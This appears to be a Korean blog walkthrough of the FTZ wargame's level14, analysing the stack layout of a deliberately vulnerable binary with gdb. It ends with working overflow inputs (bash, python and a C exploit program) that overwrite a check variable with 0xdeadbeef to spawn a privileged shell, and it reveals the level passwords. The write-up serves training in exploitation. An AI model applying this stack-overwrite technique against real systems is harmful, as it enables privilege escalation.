반응형

login as : level14

password : what that nigga want?


 

분기 루틴이란 특정 조건을 만족할 때 분기하는 루틴을 말한다.

 

분기 루틴의 대표적인 예시로 소프트웨어를 설치할 때 시리얼 키를 입력받아 입력값이 맞으면 프로그램의 모든 기능을 사용할 수 있고, 그렇지 않으면 제한된 기능만 사용할 수 있게 하는 것이다.

 

이러한 키값 비교 기능은 다양하게 구현될 수 있는데, 데이터베이스나 파일에서 값을 읽어서 비교할 수도 있지만 바이너리에 비교를 위한 값이 하드코딩돼 있는 경우가 일반적이다.

 

근데 이 같은 유형의 문제는 해킹대회에서 은근히 빠지지 않고 출제되는 문제이기도 하므로 bof 개념만큼 확실히 알아두는 것이 좋다.

 

하지만 FTZ 같은 워게임은 입문자들을 위한 것이므로 쉬울 수 있지만 실제 해킹에서는 난이도가 엄청 높아진다는 점을 알아둬야 한다.

 

또한 해킹 대회 문제 역시 워게임보다는 훨씬 복잡하기 때문에 많은 경험을 쌓고 연습해야만 풀 수 있다.

 

이번 문제는 어떻게 보면 스택 가드와도 비슷한 개념이지만, 메모리에 저장돼 있는 값을 정확하게 분석할 수 있는지 없는지에 대한 기본적인 문제이다.

 


level14 문제

 

 

 

hint 파일을 보면 위와 같이 코드가 나온다.

 

코드 이전에 한글이 깨져보이는데 원래 문장은 아래의 문장이였다.

"레벨 14이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는 데는 이 문제들이 가장 효과가 좋습니다."

 

1. int 타입의 crap, check 변수를 선언한다.
2. 입력값을 저장할 char buf[20] 배열을 선언한다.
3. 키보드로 45byte까지 입력을 받는다.
	- RET 주소를 덮어쓰려면 60byte까지는 입력을 받아야하는데,
    45byte만 입력을 받기 때문에 bof 취약점은 차단되어 있다.
4. check 변수에 0xdeadbeef 값이 있으면 level15 권한으로 프로세스가 실행되도록 설정한 후 셸을 실행한다.

 

힌트에 제공된 소스코드를 분석하면 위와 같다.

 

check 변수를 선언한 부분에서 초기값을 설정하지 않았기 때문에 임의의 쓰레기 값이 할당돼 있을 것이다.

 

그렇다면 단순하게 check 변수에 0xdeadbeef 값만 입력하면 된다.

 


level14 문제 파일의 dummy 공간 확인

 

procedure prelude(함수 프롤로그 부분)을 보면 위와 같이 지역 변수의 공간으로 0x38(56)byte가 확보된 것을 확인할 수 있다.

 

56byte에 포함되는 지역 변수는 int 타입의 crap, check 그리고 char 형 배열인 buf 총 3개가 있다.

 

그렇다면 변수 사이에 끼어 있을 dummy 공간의 정확한 크기를 확인할 필요가 있다.

(dummy 공간이 들어가는 이유는 CPU가 값을 빠르게 읽어들일 수 있도록 CPU의 bit 수에 따라 더미가 적절한 공간에 들어가서 변수의 간격을 유지하게 된다.)

 

낮은 주소 20byte 4byte 4byte 28byte 4byte 4byte 높은 주소
char buf[20] check crap dummy SFP RET
"AAAA"          
낮은 주소
20byte char buf[20] "AAAA"
4byte check  
4byte crap  
28byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

예를 들어 crap, check, buf 변수는 28byte밖에 안되지만 위의 디스어셈블한 결과를 보면 56byte의 지역 변수 공간이 할당됐으므로 결국 나머지 28byte는 dummy로 배치될 것이고 그 구조는 위와 같다.

 

하지만 위의 구조는 정확한 게 아니라 가능성 있는 스택의 구조를 나타낸 것이다.

 

낮은 주소 20byte 4byte 4byte 4byte 24byte 4byte 4byte 높은 주소
char buf[20] dummy check crap dummy SFP RET
"AAAA"            
낮은 주소
20byte char buf[20] "AAAA"
4byte dummy  
4byte check  
4byte crap  
24byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

4byte 단위로 변수가 배열된다고 한다면 위와 같이 표현될 것이고

 

낮은 주소 20byte 12byte 4byte 4byte 4byte 4byte 4byte 4byte 높은 주소
char buf[20] dummy check dummy crap dummy SFP RET
"AAAA"              
낮은 주소
20byte char buf[20] "AAAA"
12byte dummy  
4byte check  
4byte dummy  
4byte crap  
4byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

위는 8byte 단위로 변수가 배열되는 경우를 나타낸 것이다.

 

시스템 해킹 분야에서 정확한 공격을 위해서는 위에서 나타낸 것들과 같이 시스템에서 배치한 정확한 메모리 스택의 구조를 그릴 수 있어야 한다.

 


스택 구조 그려보기 예시

 

#include <stdio.h>
#include <unistd.h>

int main()
{
    int crap;
    int check;
    char buf[20];
    fgets(buf, 45, stdin);
    
    if(check == 0xdeadbeef)
    {
    	setreuid(3095,3095);
        system("/bin/sh");
    }
    
    printf("Input is : %s\n &buf : %p\n &check : %p\n &crap : %p\n", buf, buf, &check, &crap);
}

 

tmp 디렉토리로 이동 후 위의 코드를 작성해준다.

 

 

컴파일 후 실행한 다음 "AAAA"를 입력해주면 위와 같이 각 변수들의 주소들이 보인다.

 

낮은 주소 20byte 20byte 4byte 4byte 8byte 4byte 4byte 높은 주소
0xbffff620 0xbffff624 0xbffff648 0xbffff64c 0xbffff650 0xbffff658 0xbffff65c
char buf[20] dummy check crap dummy SFP RET
"AAAA"   0xdeadbeef        

 

낮은 주소
20byte 0xbffff620 char buf[20] "AAAA"
20byte 0xbffff624 dummy  
4byte 0xbffff648 check 0xdeadbeef
4byte 0xbffff64c crap  
8byte 0xbffff650 dummy  
4byte 0xbffff658 SFP  
4byte 0xbffff65c RET  
높은 주소

 

출력된 주소들을 바탕으로 구조를 나타내면 위와 같다.

 

buf 배열에서 check 변수까지는 20byte의 dummy 공간이 있다.

 

그리고 crap 변수부터 SFP까지는 8byte의 dummy 공간이 있다.

 


level14 문제 파일의 스택 구조 확인하기

 


level14의 attackme 파일을 tmp 디렉토리로 가져온 후 gdb로 열고 디스어셈블한다.

 

디스어셈블 된 코드를 보면 0x080484a1 주소에서 ebp-0x38 주소에 있는 값을 eax에 넣는 것을 확인할 수 있는데 이 eax의 값을 fgets() 함수의 인자로 넘기므로 char buf[20]을 의미하는 것을 알 수 있다.

 

이어서 0x080484ad 주소에서 0xdeadbeef와 ebp-0x10 주소에 있는 값을 비교하는 것으로 보아 ebp-0x10 주소에 있는 값은 check 변수의 값을 의미함을 알 수 있다.

 

0x38에서 0x10을 빼면 0x28로 이는 10진수로 40을 의미하고, 이는 곧. buf 변수와 check 변수 사이의 공간이 40byte라는 것이다.

 

 

위의 내용을 스택을 보며 확인하기 위해 0x080484ad 주소에 bp를 걸고 실행한 뒤 "AAAA"를 입력해준다.

 

그 다음 스택을 보면 위와 같이 출력되는데, buf의 주소는 0xbfffe510이고, 0x28을 더한 주소인 0xbfffe538 주소가 check 변수의 주소이다.

 

낮은 주소 20byte 20byte 4byte 4byte 8byte 4byte 4byte 높은 주소
0xbfffe510 0xbfffe524 0xbfffe538 0xbfffe53c 0xbfffe540 0xbfffe548 0xbfffe54c
char buf[20] dummy check crap dummy SFP RET
"AAAA"         0xbfffe568 0x42015574
낮은 주소
20byte 0xbfffe510 char buf[20] "AAAA"
20byte 0xbfffe524 dummy  
4byte 0xbfffe538 check  
4byte 0xbfffe53c crap  
8byte 0xbfffe540 dummy  
4byte 0xbfffe548 SFP 0xbfffe568
4byte 0xbfffe54c RET 0x42015574
높은 주소

 

위 스택의 내용을 표로 나타내면 위와 같다.

 

공격에 성공하려면 check 변수에 0xdeadbeef가 들어가게 하면 되고, 그러면 buf에 40byte를 채워서 dummy 공간까지 채운 뒤 0xdeadbeef를 입력하면 된다.

 


공격

(for i in `seq 1 40`; do printf "a"; done; printf "\xef\xbe\xad\xde\n"; cat) | ./attackme

 

위와 같이 bash shellscript로 하여 공격할 수 있고

 

(python -c 'print "a" * 40 + "\xef\xbe\xad\xde"'; cat) | ./attackme

 

위와 같이 python script로 하여 공격할 수도 있다.

 

이로써 level15의 password는 guess what 이라는 것을 알아냈다.

 


exploit 코드

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 44   /* NOP(40) + check(0xdeadbeef) */

// "int check" 변수에 입력할 값
char writecode[] = "\xef\xbe\xad\xde";

int main()
{
    char shellBuf[BUFSIZE], cmdBuf[320];
    int i, j, shellLen;
    
    shellLen = strlen(writecode);

	// "char buf[20]" 에 40 바이트의 NOP 썰매 할당
    for(i=0; i<sizeof(shellBuf)-shellLen; i++)
        shellBuf[i] = NOP;
   
	// "int check" 변수에 조건 값 입력
    for(j=0; j<shellLen; j++)
        shellBuf[i++] = writecode[j];
    
    // 공격 명령어 생성
    sprintf(cmdBuf, "(perl -e \'print \"");
    strcat(cmdBuf, shellBuf);
    strcat(cmdBuf, "\"\'; cat) | /home/level14/attackme");
    strcat(cmdBuf, "\x0a");
    system(cmdBuf);
}
반응형

+ Recent posts